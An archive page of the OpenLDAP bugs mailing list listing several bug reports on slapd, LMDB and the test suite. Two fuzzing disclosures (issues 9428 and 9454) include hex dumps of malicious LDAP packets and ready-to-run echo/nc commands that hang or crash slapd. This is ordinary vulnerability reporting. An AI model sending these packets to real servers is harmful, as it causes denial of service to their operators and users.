openldap-bugs February 2021

openldap-bugs@openldap.org

1 participants
523 discussions

[Issue 9468] New: slapd-ldap does anonymous bind even if rebind-as-user is set
by openldap-its＠openldap.org 30 Jun '22

30 Jun '22

https://bugs.openldap.org/show_bug.cgi?id=9468 Issue ID: 9468 Summary: slapd-ldap does anonymous bind even if rebind-as-user is set Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: tero.saarni(a)est.tech Target Milestone: --- When back-ldap retries bind operation after connection retry, it will do it as anonymous even if rebind-as-user is set to yes. Expected behavior is that (re)bind is done with user's credentials from the initial bind operation. I observed following (Warning: I might have understood details of the code incorrectly): When rebind-as-user is set and bind operation from client is processed, proxy will copy the credentials to ldapconn_t representing the remote LDAP connection. When remote LDAP connection is closed (e.g. by the proxy itself due to timeout), the bind credentials information is lost when freeing the old ldapconn_t. At this point, client still holds the connection to proxy and is unaware of the remote connection being lost. Proxy then re-establishes the connection and "synthetically" generates new bind itself, but since it does not have the credentials stored in memory anymore, it sends anonymous bind on behalf of the client. As a side effect, slapd currently crashes if remote server does not allow anonymous bind and responds with InvalidCredentials instead. The crash is due to assert(), which is handled in separate issue https://bugs.openldap.org/show_bug.cgi?id=9288 -- You are receiving this mail because: You are on the CC list for the issue.

1 12

[Issue 9385] New: Opening an env with MDB_NOSUBDIR with no existing file returns error
by openldap-its＠openldap.org 13 May '22

13 May '22

https://bugs.openldap.org/show_bug.cgi?id=9385 Issue ID: 9385 Summary: Opening an env with MDB_NOSUBDIR with no existing file returns error Product: LMDB Version: unspecified Hardware: All OS: Mac OS Status: UNCONFIRMED Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: kriszyp(a)gmail.com Target Milestone: --- Created attachment 776 --> https://bugs.openldap.org/attachment.cgi?id=776&action=edit A fix to tolerate stat call on non-existing file Calling mdb_env_open with a file path to a file that doesn't exist yet, with MDB_NOSUBDIR on a non-Windows OS will return an error indicating that the file doesn't exist. This is supposed to create a new file, and works properly on the mdb.master branch, and still functions properly on Windows. The error is due to the stat() call in mdb_env_open prior to the file existing. I attached a patch that tolerates the absence of the file before checking if the file is on a block device. I am not sure if this is the appropriate fix, or if would be better to move this check later in mdb_env_open after the file is created, or alternately, determining the parent directory and calling stat on that. -- You are receiving this mail because: You are on the CC list for the issue.

1 1

[Issue 9403] New: add option to completely disable syslog logging
by openldap-its＠openldap.org 12 May '22

12 May '22

https://bugs.openldap.org/show_bug.cgi?id=9403 Issue ID: 9403 Summary: add option to completely disable syslog logging Product: OpenLDAP Version: 2.4.45 Hardware: All OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: cvuillemez(a)yahoo.fr Target Milestone: --- For auditing purpose, I need to enable "stats" loglevel. So on heavy load, slapd send lots of events to local syslog socket /dev/log, when compiled with LDAP_SYSLOG (on Debian / Ubuntu). It worked fine on old systems with a simple syslog service. But when upgrading on system with journald+syslog, CPU "overhead" becomes totally crazy. It would be great to have an option at run time to completely disable syslog logging, or/and use a cutom socket, e.g. /run/systemd/journal/syslog to bypass journald service. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Bug 9189] New: Add GSSAPI channel-bindings support
by openldap-its＠openldap.org 18 Feb '22

18 Feb '22

https://bugs.openldap.org/show_bug.cgi?id=9189 Bug ID: 9189 Summary: Add GSSAPI channel-bindings support Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: iboukris(a)gmail.com Target Milestone: --- Recently MS has announce they plan to enforce channel-bindings for LDAP over TLS (ADV190023). To support it on client side, we need to pass "tls-endpoint" bindings (RFC 5929) to the SASL plugin, and make use of that in GSSAPI. See also: https://github.com/cyrusimap/cyrus-sasl/pull/601 -- You are receiving this mail because: You are on the CC list for the bug.

1 13

[Issue 9350] New: Expand test suite for null base
by openldap-its＠openldap.org 31 Jan '22

31 Jan '22

https://bugs.openldap.org/show_bug.cgi?id=9350 Issue ID: 9350 Summary: Expand test suite for null base Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Currently we have no tests that use the empty suffix (null base). This is an entirely valid configuration setup, and there are unique challenges and bugs that crop up with this usage. We need to ensure we're covering this use case, particularly with syncrepl and delta-syncrepl configurations. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9282] New: Syncrepl re-creates deleted entry
by openldap-its＠openldap.org 13 Dec '21

13 Dec '21

https://bugs.openldap.org/show_bug.cgi?id=9282 Issue ID: 9282 Summary: Syncrepl re-creates deleted entry Product: OpenLDAP Version: 2.4.50 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Scenario: 2 node Multi-provider replication Add database to provider A ensure database replicates to provider B Stop provider A delete entry on provider B Start provider A Wait for provider B to reconnect to provider A Deleted entry re-appears -- You are receiving this mail because: You are on the CC list for the issue.

1 22

[Issue 9463] New: back-wt: cumulative fix
by openldap-its＠openldap.org 11 Oct '21

11 Oct '21

https://bugs.openldap.org/show_bug.cgi?id=9463 Issue ID: 9463 Summary: back-wt: cumulative fix Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: hamano(a)osstech.co.jp Target Milestone: --- Hi, This is cumulative fix for back-wt. I'm sorry to making 2.5 patch has been delayed due to we're still using 2.4. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 9464] New: Test suite file conf.sh tries to sed unused items
by openldap-its＠openldap.org 15 Sep '21

15 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9464 Issue ID: 9464 Summary: Test suite file conf.sh tries to sed unused items Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The conf.sh script tries to sed values that are not meant for replacement but instead are environment variables handled by run.in and defines.sh. This should be deleted from conf.sh -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

1 4

← Newer
1
2
3
4
5
6
7
8
...
53
Older →

Jump to page:

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs February 2021